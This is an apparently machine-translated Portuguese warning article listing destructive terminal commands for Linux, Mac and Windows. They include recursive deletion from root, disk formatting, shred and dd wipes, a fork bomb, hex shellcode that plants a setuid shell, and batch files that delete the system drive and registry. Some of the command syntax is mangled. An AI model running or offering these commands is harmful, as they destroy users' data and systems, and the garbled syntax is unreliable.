Dez comandos de texto mais perigosos para Windows, Linux e Mac

Dez comandos de texto mais perigosos para Windows, Linux e Mac
windows mac linux

Clicar em um botão ou ícone cuja função você não conhece pode ser muito perigoso. Mas se falamos de comandos de texto inseridos no terminal, a coisa pode ser tão séria quanto (ou até mais). Os comandos de texto listados abaixo podem ter efeitos destrutivos em seu sistema se você os usar com direitos de administrador. Portanto, esteja atento aos dez comandos de texto mais perigosos para Windows, Linux e Mac:

rm -Rf/(Linux, BSD, Mac)

Há um exemplo típico quando se trata de falar sobre comandos Linux perigosos … e sua fama é certamente justificada: ele deleta todos e cada um dos diretórios de nosso disco rígido a partir do diretório raiz (/). 

rm -Rf/

Ou seja, apaga tudo. Para evitar isso, várias distribuições têm um ‘alias’ configurado por padrão que, ao iniciar “rm”, na verdade estamos acessando “rm -i”, com o qual o Bash nos pedirá a confirmação de que realmente queremos realizar a exclusão. Tem uma variante que “apenas” apaga nossa pasta de usuário, junto com todos os arquivos de configuração que residem lá: “rm –rf ~”.

mkfs.ext4/dev/sda (Linux, BSD, Mac)

Se estivermos usando um sistema de arquivos EXT4, o comando a seguir não é muito diferente do ‘formato C:’ do DOS/Windows típico. Formato, período:

mkfs.ext4/dev/sda

Porém, em vez de formatar toda a hierarquia de arquivos, como acima, ele se concentra em uma unidade de mídia específica (pode ser /dev/sda ou outra).

shred /dev/sda (Linux, BSD, Mac)

Os comandos acima são perigosos, sim. Mas, pelo menos, uma vez executado, permite que você use ferramentas de recuperação de arquivos com uma alta probabilidade de sucesso.

No entanto, outro comando muito menos conhecido pode apagar todos os arquivos em um disco rígido sem uma solução possível:

shred /dev/sda

O Shred é uma ferramenta que não apaga: destrói. Ou seja, não se limita a deletar um arquivo da tabela de arquivos, mas sobrescreve o espaço físico que ocupa dezenas de vezes , impossibilitando totalmente sua recuperação.

dd if = /dev/random de =/dev/sda (Linux, BSD, Mac)

DD é uma ferramenta frequentemente usada para clonar discos e, assim, criar cópias de backup. Mas, usado criativamente, pode fazer com que tenhamos que recorrer a eles. Como neste exemplo:

dd if=/dev/random of=/dev/sda

‘dev/random’ é o nome de um dispositivo virtual que o Unix usa como gerador de números aleatórios. O comando em questão não faz nada além de copiar o ‘conteúdo’ do referido ‘dispositivo’ em nosso disco rígido principal … de tal forma que seu efeito será o mesmo que se usássemos ‘shred /dev/sda’, embora muito mais lento.

mv //dev/null (Linux, BSD, Mac)

Aparentemente, dispositivos virtuais são carregados pelo Diabo. E é que ‘dev / random’ não é o único desse tipo que pode nos dar dores de cabeça. Preste atenção ao seguinte comando:

mv //dev/null

Este comando move (insistimos: ele não ‘copia’. Ele move) o conteúdo de ‘/’ (isto é, todo o conteúdo do sistema) para o dispositivo virtual ‘/ dev/null’. O problema é que /dev/null é o Nada, uma espécie de buraco negro no qual cada bit que jogamos é perdido, para nunca mais voltar. Você vê o problema agora?

: () {: |: &};: (Linux, BSD, Mac)

Felizmente, os comandos acima podem ser lidos com relativa facilidade: assim que você souber algo sobre Unix ou apenas inglês, você pode franzir a testa e pensar “Ei, espere um minuto …”. Mas e se um comando não se parecer com um comando?

Vejamos o seguinte exemplo:

:(){ :|:& };:

Estamos diante do comando ‘Fork bomb’ , cuja função é definir e executar uma função que se autodenomina recursivamente infinitamente. Ele não faz nada … exceto ser executado tantas vezes que acaba ficando sem memória disponível e nos forçando a reiniciar o dispositivo.

Comandos em hexadecimal (Linux, BSD, Mac)

Dez comandos de texto mais perigosos para Windows, Linux e Mac

É possível converter um comando (qualquer) escrito em modo de texto normal para o formato hexadecimal, o que nos impede de lê-lo (ou melhor, entendê-lo). No entanto, se dissermos ao sistema para converter e executar a string hexadecimal, será como se estivéssemos executando diretamente o comando original. Assim, não há diferença entre digitar ‘rm -Rf /’ e o seguinte:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00”

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;

rd /s/q/C:\ (Windows)

Este é um comando para Windows que é basicamente equivalente a ‘rm -Rf’ do Linux , Mac e co:

rd/s/q/ C:\

Embora com uma diferença: apenas apagará os dados de uma unidade lógica específica (no exemplo, C :), mas não de todo o sistema. A diferença, é claro, só será relevante se tivermos mais de uma unidade no sistema.

Tela Azul do Comando da Morte (Windows)

Você sente falta das velhas telas azuis da morte que eram tão características da experiência do usuário do Windows? Relaxe, com o seguinte comando e garanta uma sessão de nostalgia grátis :

@echo off

delete %systemdrive%*.* /f /s

Felizmente para você, não basta copiar e colar no ‘cmd’: é necessário salvar as duas linhas como um arquivo de texto com extensão .BAT, equivalente ao .SH do Linux.

Limpando o Registro (Windows)

Outro conjunto de comandos que devem ser executados um após o outro usando um arquivo BAT:

@echo off

START reg delete HKC/.EXE

START reg delete HKCR.dll

START reg delete HKCR/*